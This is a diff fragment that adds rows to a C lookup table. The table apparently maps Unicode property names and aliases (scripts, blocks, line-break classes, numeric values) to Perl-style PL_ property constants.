+  {     7,  8376,  6816,   3,  10, PL_LB__WJ }   /* lb=wordjoiner */,
+  {     0,  3129,  4509,  17,  15, PL_SARB }   /* scriptextensions=oldsoutharabian */,
+  {     1,  8376,  5753,   3,   4, PL_LB__GL }   /* lb=glue */,
+  {     1,   184,  4827,   2,  14, PL_KANGXI }   /* iskangxiradicals */,
+  {     1,  1929,  3223,   9,   2, -PL_XPOSIXUPPER }   /* uppercase=n */,
+  {     1,  1746,  5762,  21,   3, PL_LB__ZWJ }   /* graphemeclusterbreak=zwj */,
+  {     0,  7136,  4883,   6,  14, PL_LATINEXTE }   /* block=latinextendede */,
+  {     0,  1963,  3581,   7,   2, PL_RADICAL }   /* radical=t */,
+  {     1,  5645,  4149,  10,  15, PL_BC__CS }   /* bidiclass=commonseparator */,
+  {     1,  2236,     7,  10,   1, PL_L_AMP_ }   /* category=lc */,
+  {     0,  3129,  8364,  17,   4, PL_LANA }   /* scriptextensions=lana */,
+  {     0,  6890,  1691,   9,  11, PL_INDICNUMBERFORMS }   /* blk=indicnumberforms */,
+  {     2,  6647,   534,   4,   2, PL_CANS }   /* iscans */,
+  {     2,  8011,  8941,   3,   2, PL_ZS }   /* gc=zs */,
+  {     0,  6263,  6576,  10,  10, PL_LB__BA }   /* linebreak=breakafter */,
+  {     0,  4314,  3475,  13,  17, PL_JG__MANICHAEANHUNDRED }   /* joininggroup=manichaeanhundred */,
+  {     2,  8096,  8400,   4,   4, PL_MIAO }   /* scx=miao */,
+  {     0,  5134,   809,   3,  17, PL_PHONETICEXT }   /* isphoneticextensions */,
+  {     6,  8076,  7997,   5,   2, PL_PATWS }   /* patws=y */,
+  {     9,  8096,   954,   4,   5, PL_GREK }   /* scx=greek */,
+  {     0,   184,  1111,   2,   4, PL_KANA }   /* iskana */,
+  {     2,  6263,  5762,  10,   2, PL_LB__ZW }   /* linebreak=zw */,
+  {     0,  7136,  2967,   6,  18, PL_GEORGIANSUP }   /* block=georgiansupplement */,
+  {     0,  7136,  4644,   6,  15, PL_INZANABAZARSQUARE }   /* block=zanabazarsquare */,
+  {     5,  6263,    25,  10,   2, PL_LB__SY }   /* linebreak=sy */,
+  {     1,  7136,  7272,   6,   8, PL_INMAHAJANI }   /* block=mahajani */,
+  {     3,  6890,    42,   4,  36, PL_CJKCOMPATIDEOGRAPHSSUP }   /* blk=cjkcompatibilityideographssupplement */,
+  {     1,  7136,  2249,   6,  20, PL_GLAGOLITICSUP }   /* block=glagoliticsupplement */,
+  {     3,  3516,  7768,  10,   6, -PL_XPOSIXSPACE }   /* whitespace=false */,
+  {     0,  3521,  7951,   5,   5, PL_XPOSIXSPACE }   /* space=true */,
+  {     1,  5310,     0,  13,   0, PL_XPOSIXDIGIT }   /* decimalnumber */,
+  {    17,   184,   699,   2,   6, PL_N }   /* isnumber */,
+  {     0,  7366,     0,   7,   0, PL_BENG }   /* bengali */,
+  {     0,  5544,  8615,  13,   3, PL_NV__1_SLASH_3 }   /* numericvalue=1/3 */,
+  {     1,  8011,    47,   4,   1, PL_SM }   /* gc=sm */,
+  {     0,  3129,  8444,  17,   4, PL_OLCK }   /* scriptextensions=olck */,
+  {     0,  6210,  3340,   3,  16, PL_CYRILLICEXTB }   /* incyrillicextendedb */,
+  {     3,  7288,  7506,   7,   7, PL_SC__LINA }   /* script=lineara */,
+  {     1,  8096,  7312,   4,   8, PL_TAGB }   /* scx=tagbanwa */,
+  {     0,  7288,  7019,   7,   4, PL_SC__PERM }   /* script=perm */,
+  {     1,  5544,  7944,  13,   2, PL_NV__12 }   /* numericvalue=12 */,
+  {     1,  4284,  7667,  14,   7, PL_HST__NA }   /* hangulsyllabletype=na */,
+  {     4,  1929,  3223,   5,   3, -PL_XPOSIXUPPER }   /* upper=no */,
+  {     1,  6109,     1,  10,   1, PL_CN }   /* category=cn */,
+  {     1,  7380,  8171,   7,   2, PL_CCC__23 }   /* ccc=ccc23 */,
+  {     1,  7288,  7272,   7,   8, PL_SC__MAHJ }   /* script=mahajani */,
+  {     1,  8006,  3223,   5,   3, -PL_CWKCF }   /* cwkcf=no */,
+  {     3,  7136,  8061,   6,   5, PL_INOGHAM }   /* block=ogham */,
+  {     7,  7443,     0,   7,   0, PL_GRAN }   /* grantha */,
+  {     3,  6890,  7232,   4,   8, PL_JAMOEXTA }   /* blk=jamoexta */,
+  {     0,  8096,  8396,   4,   4, PL_MERC }   /* scx=merc */,
+  {     0,  8288,  8834,   3,   3, PL_DT__SQR }   /* dt=sqr */,
+  {     1,  8340,  6580,   3,   3, PL_JG__KAF }   /* jg=kaf */,
+  {     0,  4239,     0,   4,   0, PL_DASH }   /* dash */,
+  {     1,  6263,  4561,  10,   2, PL_LB__EB }   /* linebreak=eb */,
+  {     2,  7136,  1797,   6,   4, PL_INMODI }   /* block=modi */,
+  {     2,  7689,  5246,   3,  12, PL_POSIXXDIGIT }   /* isasciihexdigit */,
+  {     1,  6890,  7632,   4,   7, PL_INTAGALOG }   /* blk=tagalog */,
+  {     1,  8340,  5163,   3,  14, PL_JG__HAMZAONHEHGOAL }   /* jg=tehmarbutagoal */,
+  {     0,  2985,  3581,   4,   2, PL_IDST }   /* idst=t */,
+  {     4,  6890,  2805,   4,  18, PL_HALFMARKS }   /* blk=combininghalfmarks */,
+  {     3,  6890,  3594,   4,   9, PL_ARABICSUP }   /* blk=arabicsup */,
+  {     0,  1897,  3223,  21,   3, -PL_CWT }   /* changeswhentitlecased=no */,
+  {     3,  6210,  5694,   3,  11, PL_CYRILLICEXTB }   /* incyrillicextb */,
+  {     0,  7459,  7632,   3,   7, PL_SC__TGLG }   /* sc=tagalog */,
+  {     0,  4542,  8112,   3,   4, PL_TAKR }   /* istakri */,
+  {     1,  5134,  1134,   3,  25, PL_PCM }   /* isprependedconcatenationmark */,
+  {     7,  4314,  4344,  13,  15, PL_JG__MANICHAEANALEPH }   /* joininggroup=manichaeanaleph */,
+  {     0,  7136,  3882,   6,   7, PL_INMYANMAR }   /* block=myanmar */,
+  {     0,   184,  1768,   2,  22, PL_MISCTECHNICAL }   /* ismiscellaneoustechnical */,
+  {     6,  7478,  7612,   3,   6, PL_SOYO }   /* issoyombo */,
+  {     1,  8786,  1093,   3,   9, PL_EA__F }   /* ea=fullwidth */,
+  {     0,  3114,     1,   3,  33, PL_UCAS }   /* inunifiedcanadianaboriginalsyllabics */,
+  {     0,    21,  8432,   2,   3, PL_INNKO }   /* innko */,
+  {    17,  3129,  8106,  17,   5, PL_TALE }   /* scriptextensions=taile */,
+  {     0,   184,  1887,   2,   5, PL_XPOSIXLOWER }   /* islower */,
+  {     5,  7136,  1028,   6,  27, PL_OCR }   /* block=opticalcharacterrecognition */,
+  {     2,  8572,     0,   4,   1, PL_WB__NU }   /* wb=nu */,
+  {     3,  5250,  7997,   8,   4, PL_XPOSIXXDIGIT }   /* hexdigit=yes */,
+  {     0,  1834,  7997,  21,   2, PL_CWCF }   /* changeswhencasefolded=y */,
+  {     2,  6713,  7720,   3,   1, PL_IN__4 }   /* in=4 */,
+  {     1,  8448,     0,   4,   0, PL_ORKH }   /* orkh */,
+  {     2,  5544,  7732,  13,   4, PL_NV__5000 }   /* numericvalue=5000 */,
+  {     0,   184,  7429,   2,   7, PL_DSRT }   /* isdeseret */,
+  {     0,  6890,  7007,   4,   9, PL_INOLDITALIC }   /* blk=olditalic */,
+  {     2,  1417,  6362,   9,  11, PL_SO }   /* category=othersymbol */,
+  {     0,  6890,     6,   5,   2, PL_INIDC }   /* blk=idc */,
+  {     1,  6890,   183,   4,  34, PL_MISCPICTOGRAPHS }   /* blk=miscellaneoussymbolsandpictographs */,
+  {     1,   184,  1107,   2,  26, PL_KATAKANAEXT }   /* iskatakanaphoneticextensions */,
+  {     1,   184,  8396,   2,   4, PL_MERC }   /* ismerc */,
+  {     0,  4554,   723,  15,   4, PL_SB__CL }   /* sentencebreak=close */,
+  {     2,   117,   416,   3,  31, PL_INIDC }   /* inideographicdescriptioncharacters */,
+  {     8,  5134,  8461,   3,   3, PL_PHLP }   /* isphlp */,
+  {     0,  4554,  8101,  14,   5, PL_SB__ST }   /* sentencebreak=sterm */,
+  {     0,  8096,  8320,   4,   4, PL_HLUW }   /* scx=hluw */,
+  {     6,  7288,  8368,   7,   4, PL_LAO }   /* script=laoo */,
+  {     1,   974,  8171,  24,   2, PL_CCC__23 }   /* canonicalcombiningclass=23 */,
+  {     1,  4449,  7373,   4,   3, PL_NFCQC__M }   /* nfcqc=m */,
+  {     0,  6890,  6863,   4,   9, PL_ARABICPFA }   /* blk=arabicpfa */,
+  {     5,  7288,  7604,   7,   7, PL_SIDD }   /* script=siddham */,
+  {     1,  6890,  7621,   4,   3, PL_PUA }   /* blk=pua */,
+  {     1,  6706,  8768,  10,   3, PL_IN__9 }   /* presentin=9.0 */,
+  {     0,  6647,     2,   5,   1, PL_CARI }   /* iscari */,
+  {     4,  2859,  3003,  18,   7, PL_DT__INIT }   /* decompositiontype=initial */,
+  {     3,  8816,  5219,   3,  13, PL_NV__1000000000000 }   /* nv=1000000000000 */,
+  {     2,  8288,  5488,   3,   4, PL_DT__NONE }   /* dt=none */,
+  {     0,   974,  7702,  27,   2, PL_CCC__20 }   /* canonicalcombiningclass=ccc20 */,
+  {     0,  7906,  5066,   5,   2, PL_SC__KHOJ }   /* sc=khoj */,
+  {     0,  2229,  5079,  16,  14, PL_MN }   /* generalcategory=nonspacingmark */,
+  {     2,  6554,  1498,   3,  13, PL_BYZANTINEMUSIC }   /* inbyzantinemusic */,
+  {     0,  1497,     0,  14,   0, PL_BYZANTINEMUSIC }   /* byzantinemusic */,
+  {     5,  8096,  7660,   4,   4, PL_TIRH }   /* scx=tirh */,
+  {     4,   184,  8608,   2,   4, PL_ZZZZ }   /* iszzzz */,
+  {     0,  3129,  7555,  17,   7, PL_OLCK }   /* scriptextensions=olchiki */,
+  {     3,  8096,  8061,   4,   5, PL_OGAM }   /* scx=ogham */,
+  {     1,  7459,  7120,   3,   4, PL_BALI }   /* sc=bali */,
+  {     4,  8508,  8369,   4,   3, PL_LAO }   /* sc=laoo */,
+  {     1,  7288,  7569,   7,   4, PL_OSMA }   /* script=osma */,
+  {     2,  8086,  3223,   5,   3, -PL_QMARK }   /* qmark=no */,
+  {     1,  7478,  1451,   3,  23, PL_SUPSYMBOLSANDPICTOGRAPHS }   /* issupsymbolsandpictographs */,
+  {     0,    76,  7946,   2,   5, PL_NV__NAN }   /* nt=none */,
+  {     0,  7459,  4104,   3,   4, PL_BAMU }   /* sc=bamu */,
+  {     0,  8011,  8263,   3,   2, PL_MC }   /* gc=mc */,
+  {     1,  8016,  8789,   4,   3, PL_WB__EBG }   /* gcb=ebg */,
+  {     0,  8026,  5094,   3,  13, PL_PHONETICEXTSUP }   /* inphoneticextsup */,
+  {     1,  7459,  7912,   3,   6, PL_SC__TELU }   /* sc=telugu */,
+  {     3,  7459,  3458,   3,  10, PL_SC__MANI }   /* sc=manichaean */,
+  {     1,  6890,  2249,   4,  13, PL_GLAGOLITICSUP }   /* blk=glagoliticsup */,
+  {     3,  4284,  5177,  14,  14, PL_GCB__V }   /* hangulsyllabletype=voweljamo */,
+  {     3,  7272,     0,   8,   0, PL_MAHJ }   /* mahajani */,
+  {     2,  8240,  3408,   4,  16, PL_BC__ES }   /* bc=europeanseparator */,
+  {     6,  7227,  5253,   5,   5, PL_POSIXDIGIT }   /* posixdigit */,
+  {     2,  6263,  1204,  10,   2, PL_LB__PO }   /* linebreak=po */,
+  {    11,  7478,  2732,   3,  18, PL_SUPARROWSC }   /* issupplementalarrowsc */,
+  {     0,   112,     0,   2,   0, PL_SC }   /* sc */,
+  {     2,  7288,  7611,   7,   4, PL_SOYO }   /* script=soyo */,
+  {     0,  7224,  7986,   8,   5, PL_XPOSIXBLANK }   /* isxposixblank */,
+  {     1,  2731,     0,  19,   0, PL_SUPARROWSC }   /* supplementalarrowsc */,
+  {     0,  6613,  3723,   3,  15, PL_HIGHPUSURROGATES }   /* ishighpusurrogates */,
+  {     4,  8777,  7997,   3,   2, PL_CWL }   /* cwl=y */,
+  {     0,  8288,    45,   3,   6, PL_DT__COM }   /* dt=compat */,
+  {     0,    34,  7768,   3,   2, -PL_EXT }   /* ext=f */,
+  {     0,  3373,  8576,  15,   4, PL_EA__W }   /* eastasianwidth=wide */,
+  {     3,  7288,  8472,   7,   4, PL_PRTI }   /* script=prti */,
+  {     5,  6890,  3994,   4,  16, PL_SYRIACSUP }   /* blk=syriacsupplement */,
+  {     0,    21,  6626,   2,  10, PL_INKHAROSHTHI }   /* inkharoshthi */,
+  {     0,  6713,  8660,   3,   3, PL_IN__2_DOT_1 }   /* in=2.1 */,
+  {     0,  6890,  2128,   4,   6, PL_YIJING }   /* blk=yijing */,
+  {     1,  8798,  7997,   3,   2, PL_LOE }   /* loe=y */,
+  {     0,  6484,  7951,  10,   5, PL_IDC }   /* idcontinue=true */,
+  {     2,  3129,  8432,  17,   4, PL_NKO }   /* scriptextensions=nkoo */,
+  {     0,  2859,  8292,  18,   4, PL_DT__FONT }   /* decompositiontype=font */,
+  {     0,  8026,  6450,   5,  11, PL_INPC__TOPANDRIGHT }   /* inpc=topandright */,
+  {     0,  7380,  8740,   4,   2, PL_CCC__25 }   /* ccc=25 */,
+  {     1,  8240,   806,   3,   2, PL_BC__WS }   /* bc=ws */,
+  {     0,  6890,  8056,   4,   5, PL_INNUSHU }   /* blk=nushu */,
+  {     1,  6890,  1658,   4,  19, PL_CJKCOMPATIDEOGRAPHS }   /* blk=cjkcompatideographs */,
+  {     0,   184,  2531,   2,   4, PL_MULT }   /* ismult */,
+  {     0,  8096,  8368,   4,   3, PL_LAO }   /* scx=lao */,
+  {     3,  8204,  7997,   4,   4, PL_POSIXXDIGIT }   /* ahex=yes */,
+  {     2,  1426,  1330,  22,  24, PL_INSC__CONSONANTSUCCEEDINGREPHA }   /* indicsyllabiccategory=consonantsucceedingrepha */,
+  {     0,   221,     0,   2,   0, PL_L_AMP_ }   /* l_ */,
+  {     0,  7288,  3674,   7,   7, PL_SC__CPRT }   /* script=cypriot */,
+  {     0,  7840,    25,   3,   1, PL_VS }   /* isvs */,
+  {     0,   184,    74,   2,   2, PL_ME }   /* isme */,
+  {     1,  1417,  3854,   9,  10, PL_SM }   /* category=mathsymbol */,
+  {     7,  5544,  8140,  13,   4, PL_NV__1_SLASH_10 }   /* numericvalue=1/10 */,
+  {     0,  8011,   133,   3,   4, PL_M }   /* gc=mark */,
+  {     0,  2134,  7997,   3,   2, PL_XPOSIXXDIGIT }   /* hex=y */,
+  {     0,  7459,  7043,   3,   4, PL_PAUC }   /* sc=pauc */,
+  {    16,  8816,  7710,   3,   3, PL_NV__600 }   /* nv=600 */,
+  {     5,   949,  7768,   2,   6, -PL_CI }   /* ci=false */,
+  {     1,  7288,  8071,   7,   5, PL_OSGE }   /* script=osage */,
+  {     3,  8096,  8432,   4,   4, PL_NKO }   /* scx=nkoo */,
+  {     1,   113,     0,  25,   0, PL_DIACRITICALS }   /* combiningdiacriticalmarks */,
+  {     1,   184,  8296,   2,   4, PL_GONM }   /* isgonm */,
+  {     1,  7288,  7590,   7,   7, PL_SC__SHRD }   /* script=sharada */,
+  {     0,  2236,     0,  10,   0, PL_L }   /* category=l */,
+  {     2,  6890,  3560,   4,  17, PL_SUTTONSIGNWRITING }   /* blk=suttonsignwriting */,
+  {     1,  5245,  3223,  13,   3, -PL_POSIXXDIGIT }   /* asciihexdigit=no */,
+  {     8,  5645,  2086,  10,  21, PL_BC__PDI }   /* bidiclass=popdirectionalisolate */,
+  {     3,  4542,  8549,   3,   3, PL_TFNG }   /* istfng */,
+  {     4,  6263,   184,  10,   2, PL_LB__IS }   /* linebreak=is */,
+  {     1,  1929,  3223,   5,   2, -PL_XPOSIXUPPER }   /* upper=n */,
+  {     1,  7136,  6029,   6,   8, PL_PHAISTOS }   /* block=phaistos */,
+  {     2,  3526,  3223,  17,   2, -PL_RI }   /* regionalindicator=n */,
+  {     1,  1417,  1886,   9,   2, PL_NL }   /* category=nl */,
+  {     3,  8096,  1680,   4,   6, PL_ZYYY }   /* scx=common */,
+  {     4,    21,  7534,   2,   7, PL_NB }   /* innoblock */,
+  {    11,  6890,  7583,   4,   7, PL_INPHAGSPA }   /* blk=phagspa */,
+  {     5,  7288,  7336,   7,   8, PL_UGAR }   /* script=ugaritic */,
+  {     1,   184,  8480,   2,   4, PL_QAAI }   /* isqaai */,
+  {     0,   184,  3675,   3,   6, PL_CPRT }   /* iscypriot */,
+  {     0,  5544,  8180,  13,   3, PL_NV__3_SLASH_8 }   /* numericvalue=3/8 */,
+  {     0,  7136,  3898,   6,  16, PL_MYANMAREXTB }   /* block=myanmarextendedb */,
+  {    11,   132,     0,   2,   0, PL_LM }   /* lm */,
+  {     3,  1448,  2676,   4,   7, PL_INSUNDANESE }   /* insundanese */,
+  {     0,  1028,     0,  27,   0, PL_OCR }   /* opticalcharacterrecognition */,
+  {     1,  5765,  7768,  12,   2, -PL_GRBASE }   /* graphemebase=f */,
+  {     2,  1107,     0,  26,   0, PL_KATAKANAEXT }   /* katakanaphoneticextensions */,
+  {     3,    96,     0,   5,   0, PL_XPOSIXALPHA }   /* alpha */,
+  {     2,  6890,   183,   4,  20, PL_MISCSYMBOLS }   /* blk=miscellaneoussymbols */,
+  {     2,  5645,  4121,  12,  13, PL_BC__BN }   /* bidiclass=boundaryneutral */,
+  {     5,  8096,  8216,   4,   4, PL_ARMI }   /* scx=armi */,
+  {     0,   974,  8645,  24,   3, PL_CCC__129 }   /* canonicalcombiningclass=129 */,
+  {     0,  4923,  5947,   4,  10, PL_MATHALPHANUM }   /* inmathalphanum */,
+  {     4,   974,  8687,  24,   3, PL_CCC__R }   /* canonicalcombiningclass=226 */,
+  {     0,  7136,  5414,   6,  13, PL_LOWSURROGATES }   /* block=lowsurrogates */,
+  {     1,  6472,  7352,  10,   7, PL_WB__LE }   /* wordbreak=aletter */,
+  {     5,  7828,  7997,   6,   4, PL_HYPHEN }   /* hyphen=yes */,
+  {     0,  3129,  6881,  17,   9, PL_BHKS }   /* scriptextensions=bhaiksuki */,
+  {     0,  1702,     0,  12,   0, PL_DIACRITICALS }   /* diacriticals */,
+  {     0,  7288,  8420,   7,   4, PL_NARB }   /* script=narb */,
+  {     0,  8340,  6494,   3,  11, PL_JG__YEHWITHTAIL }   /* jg=yehwithtail */,
+  {     0,   184,  5801,   2,   5, PL_KHMR }   /* iskhmer */,
+  {     0,  1450,     0,  24,   0, PL_SUPSYMBOLSANDPICTOGRAPHS }   /* supsymbolsandpictographs */,
+  {     0,   295,     0,   2,   0, PL_SM }   /* sm */,
+  {     5,  7478,   218,   7,   4, PL_XPOSIXSPACE }   /* isspaceperl */,
+  {     1,  4554,    33,  14,   2, PL_SB__SE }   /* sentencebreak=se */,
+  {     0,    21,  3770,   2,  16, PL_LINEARBSYLLABARY }   /* inlinearbsyllabary */,
+  {     5,  8476,     0,   4,   0, PL_COPT }   /* qaac */,
+  {     1,  4314,  7961,  13,   5, PL_JG__ALAPH }   /* joininggroup=alaph */,
+  {     1,  8786,  8576,   3,   4, PL_EA__W }   /* ea=wide */,
+  {     1,  6210,    43,   3,   2, PL_CJK }   /* incjk */,
+  {     0,  8822,     0,   3,   0, PL_PCM }   /* pcm */,
+  {     1,  7478,  6787,   3,   9, PL_SUPARROWSC }   /* issuparrowsc */,
+  {     1,  5645,    25,  10,   1, PL_BC__S }   /* bidiclass=s */,
+  {     3,  2229,  6340,  16,  11, PL_LO }   /* generalcategory=otherletter */,
+  {     1,  7288,  2636,   7,   9, PL_SC__MONG }   /* script=mongolian */,
+  {     1,  7459,  8268,   3,   4, PL_SC__CPRT }   /* sc=cprt */,
+  {     9,   974,  7708,  24,   3, PL_CCC__216 }   /* canonicalcombiningclass=216 */,
+  {     0,  8340,  3834,   3,  16, PL_JG__MANICHAEANTWENTY }   /* jg=manichaeantwenty */,
+  {     3,  6647,    12,   5,   3, PL_CARI }   /* iscarian */,
+  {     0,  8376,  5762,   3,   3, PL_LB__ZWJ }   /* lb=zwj */,
+  {     2,  6890,  1028,   4,  27, PL_OCR }   /* blk=opticalcharacterrecognition */,
+  {     2,  6890,  1566,   4,   6, PL_INHANGUL }   /* blk=hangul */,
+  {     0,  8011,  3003,   3,  18, PL_PI }   /* gc=initialpunctuation */,
+  {     2,   184,  2636,   2,  12, PL_MONGOLIANSUP }   /* ismongoliansup */,
+  {     1,  8196,  8747,   4,   3, PL_AGE__6 }   /* age=6.0 */,
+  {     0,  8196,  8846,   4,   3, PL_AGE__2_DOT_1 }   /* age=v21 */,
+  {     0,  7459,  8400,   3,   4, PL_MIAO }   /* sc=miao */,
+  {     1,  4209,     0,  15,   0, PL_CONTROLPICTURES }   /* controlpictures */,
+  {     0,  8444,     0,   4,   0, PL_OLCK }   /* olck */,
+  {     0,  8026,   809,   3,  10, PL_PHONETICEXT }   /* inphoneticext */,
+  {     1,  6890,  1797,   4,  15, PL_MODIFIERLETTERS }   /* blk=modifierletters */,
+  {     0,  1503,   721,   3,  20, PL_ENCLOSEDALPHANUM }   /* inenclosedalphanumerics */,
+  {     4,  7224,  8001,   8,   5, PL_XPOSIXCNTRL }   /* isxposixcntrl */,
+  {     1,  7459,  3610,   3,   4, PL_SC__BOPO }   /* sc=bopo */,
+  {     2,  6890,  7272,   4,   8, PL_INMAHAJANI }   /* blk=mahajani */,
+  {     9,   892,     0,  18,   0, PL_INVS }   /* variationselectors */,
+  {     1,  6616,  7997,  10,   2, PL_DEP }   /* deprecated=y */,
+  {     3,  6890,  5427,   4,   9, PL_INMALAYALAM }   /* blk=malayalam */,
+  {    11,  1417,  8263,   9,   2, PL_MC }   /* category=mc */,
+  {     4,  3521,  7997,   5,   4, PL_XPOSIXSPACE }   /* space=yes */,
+  {     1,  8096,  3754,   4,   7, PL_LINB }   /* scx=linearb */,
+  {     0,   184,  8368,   2,   4, PL_LAO }   /* islaoo */,
+  {     0,  4883,     0,  14,   0, PL_LATINEXTE }   /* latinextendede */,
+  {     0,  7380,  7727,   4,   2, PL_CCC__32 }   /* ccc=32 */,
+  {     0,  1566,     0,  23,   0, PL_COMPATJAMO }   /* hangulcompatibilityjamo */,
+  {     0,  7696,  7768,   6,   6, -PL_XPOSIXSPACE }   /* wspace=false */,
+  {     0,  8376,  8927,   3,   2, PL_GCB__L }   /* lb=jl */,
+  {     1,  1402,  5271,  24,  13, PL_INPC__BOTTOMANDLEFT }   /* indicpositionalcategory=bottomandleft */,
+  {     0,  6890,   720,   4,  21, PL_ENCLOSEDALPHANUM }   /* blk=enclosedalphanumerics */,
+  {     0,  5375,     0,  13,   0, PL_JT__D }   /* joiningtype=d */,
+  {     1,  2389,     0,  19,   0, PL_ANCIENTGREEKNUMBERS }   /* ancientgreeknumbers */,
+  {     0,  7136,  4105,   7,  14, PL_BAMUMSUP }   /* block=bamumsupplement */,
+  {     0,   184,   541,   3,  29, PL_CJKEXTB }   /* iscjkunifiedideographsextensionb */,
+  {     0,  7906,  2098,   4,   3, PL_SC__KALI }   /* sc=kali */,
+  {     0,  2229,  3914,  16,   5, PL_C }   /* generalcategory=other */,
+  {     3,  2369,  1548,  20,   2, PL_VO__TR }   /* verticalorientation=tr */,
+  {     1,  3129,  6989,  17,   9, PL_TALU }   /* scriptextensions=newtailue */,
+  {     1,  7227,  6472,   5,   4, PL_POSIXWORD }   /* posixword */,
+  {     2,  5645,  3516,  10,  10, PL_BC__WS }   /* bidiclass=whitespace */,
+  {     2,  8096,  7192,   4,   8, PL_GUJR }   /* scx=gujarati */,
+  {     3,  8795,  4615,   3,   7, PL_VEDICEXT }   /* invedicext */,
+  {     0,  6890,  3962,   4,  16, PL_SUPMATHOPERATORS }   /* blk=supmathoperators */,
+  {     6,  6980,     0,   9,   0, PL_NBAT }   /* nabataean */,
+  {     0,  8096,  8488,   4,   4, PL_RJNG }   /* scx=rjng */,
+  {     2,  1448,  3965,   5,  13, PL_SUPMATHOPERATORS }   /* insupmathoperators */,
+  {     2,  6890,  5258,   4,  13, PL_BLOCKELEMENTS }   /* blk=blockelements */,
+  {     1,  3129,  8596,  17,   4, PL_ZANB }   /* scriptextensions=zanb */,
+  {     1,  2750,  7997,   4,   2, PL_TERM }   /* term=y */,
+  {     1,  7288,  7912,   7,   6, PL_SC__TELU }   /* script=telugu */,
+  {     3,   184,  2877,   2,  10, PL_DEVA }   /* isdevanagari */,
+  {     1,  7459,  4010,   3,   6, PL_TANG }   /* sc=tangut */,
+  {     4,  8096,  8560,   4,   4, PL_TIBT }   /* scx=tibt */,
+  {     1,  7288,  8476,   7,   4, PL_SC__COPT }   /* script=qaac */,
+  {     3,  7288,  6676,   7,  10, PL_XPEO }   /* script=oldpersian */,
+  {     1,   184,   691,   3,  15, PL_CUNEIFORMNUMBERS }   /* iscuneiformnumbers */,
+  {     1,  5544,  7720,  13,   6, PL_NV__400000 }   /* numericvalue=400000 */,
+  {     0,   184,  7248,   2,   4, PL_JAVA }   /* isjava */,
+  {     0,  8504,  7070,   3,   9, PL_SB__SC }   /* sb=scontinue */,
+  {     2,  7345,     0,   7,   0, PL_IDS }   /* idstart */,
+  {     0,  7136,  1566,   6,  23, PL_COMPATJAMO }   /* block=hangulcompatibilityjamo */,
+  {     8,  8816,  8643,   3,   2, PL_NV__22 }   /* nv=22 */,
+  {     1,  7459,  4784,   3,   4, PL_CHAM }   /* sc=cham */,
+  {     0,  2985,  7997,   3,   2, PL_IDS }   /* ids=y */,
+  {     3,  8196,  8564,   4,   4, PL_AGE__10 }   /* age=v100 */,
+  {     0,  4314,  5885,  13,  12, PL_JG__MALAYALAMNYA }   /* joininggroup=malayalamnya */,
+  {     6,  3129,  7034,  17,   4, PL_PALM }   /* scriptextensions=palm */,
+  {     2,  7380,  6131,   4,  11, PL_CCC__DA }   /* ccc=doubleabove */,
+  {     0,  5544,  8691,  13,   2, PL_NV__28 }   /* numericvalue=28 */,
+  {     0,  8096,  8408,   4,   4, PL_MRO }   /* scx=mroo */,
+  {     2,   217,  6854,   6,   9, PL__PERL_ANY_FOLDS }   /* _perl_any_folds */,
+  {     7,  3129,  7429,  17,   7, PL_DSRT }   /* scriptextensions=deseret */,
+  {     0,  7478,  3758,   3,   3, PL_SARB }   /* issarb */,
+  {    17,  7870,     0,   6,   0, PL_LEPC }   /* lepcha */,
+  {     0,  6890,  4869,   4,  14, PL_LATINEXTD }   /* blk=latinextendedd */,
+  {     1,  8288,  7888,   3,   6, PL_DT__NAR }   /* dt=narrow */,
+  {     3,  3129,  7336,  17,   4, PL_UGAR }   /* scriptextensions=ugar */,
+  {     6,  6890,  2598,   4,  19, PL_MERO }   /* blk=meroitichieroglyphs */,
+  {     0,  8016,    34,   4,   2, PL_GREXT }   /* gcb=ex */,
+  {     2,  8580,     0,   4,   0, PL_XPEO }   /* xpeo */,
+  {     0,  7288,  8516,   7,   4, PL_SGNW }   /* script=sgnw */,
+  {     1,  8376,  5772,   3,   5, PL_LB__EB }   /* lb=ebase */,
+  {     5,   184,  3898,   2,  16, PL_MYANMAREXTB }   /* ismyanmarextendedb */,
+  {     1,  8816,  7720,   3,   6, PL_NV__400000 }   /* nv=400000 */,
+  {     2,  3129,  8580,  17,   4, PL_XPEO }   /* scriptextensions=xpeo */,
+  {     0,   184,  8404,   2,   4, PL_MLYM }   /* ismlym */,
+  {     0,   750,     0,  29,   0, PL_ENCLOSEDIDEOGRAPHICSUP }   /* enclosedideographicsupplement */,
+  {     0,  1426,  5993,  22,  12, PL_INSC__NUMBERJOINER }   /* indicsyllabiccategory=numberjoiner */,
+  {     2,  8816,  7750,   3,   2, PL_NV__80 }   /* nv=80 */,
+  {     1,  7840,  8569,   3,   3, PL_VAI }   /* isvaii */,
+  {     2,  7136,  7506,   6,   7, PL_INLINEARA }   /* block=lineara */,
+  {     2,   186,  3581,   2,   2, PL_CE }   /* ce=t */,
+  {     2,   184,  3850,   2,  16, PL_MISCMATHSYMBOLSA }   /* ismiscmathsymbolsa */,
+  {     4,  7288,  7208,   7,   4, PL_SC__HIRA }   /* script=hira */,
+  {     2,    42,     0,   3,   0, PL_CJK }   /* cjk */,
+  {     5,  7288,  2598,   7,  19, PL_MERO }   /* script=meroitichieroglyphs */,
+  {     1,  7061,     0,   9,   0, PL_SAMR }   /* samaritan */,
+  {     2,  1887,  7997,   5,   2, PL_XPOSIXLOWER }   /* lower=y */,
+  {     1,  4923,   363,   4,  19, PL_MATHOPERATORS }   /* inmathematicaloperators */,
+  {     3,  1402,  2355,  24,   6, PL_INPC__BOTTOM }   /* indicpositionalcategory=bottom */,
+  {     0,  6890,  7436,   4,   7, PL_INELBASAN }   /* blk=elbasan */,
+  {     0,  3129,  3754,  17,   7, PL_LINB }   /* scriptextensions=linearb */,
+  {     0,  8572,    34,   3,   2, PL_WB__EX }   /* wb=ex */,
+  {     0,  8504,  1887,   3,   5, PL_SB__LO }   /* sb=lower */,
+  {     1,  5051,  3223,  14,   2, PL_NFKDQC__N }   /* nfkdquickcheck=n */,
+  {     0,  6263,    96,  10,  10, PL_LB__AL }   /* linebreak=alphabetic */,
+  {     0,  7459,  8428,   3,   4, PL_NEWA }   /* sc=newa */,
+  {     0,  7689,    80,   4,   8, PL_ARABICMATH }   /* isarabicmath */,
+  {     0,   184,  7120,   2,   8, PL_BALI }   /* isbalinese */,
+  {     1,  5134,  7896,   4,   4, PL_PATSYN }   /* ispatsyn */,
+  {     0,  5134,   850,   3,  13, PL_PUA }   /* isprivateusearea */,
+  {     1,  3129,  8284,  17,   4, PL_DSRT }   /* scriptextensions=dsrt */,
+  {     0,  3129,  8091,  17,   5, PL_RUNR }   /* scriptextensions=runic */,
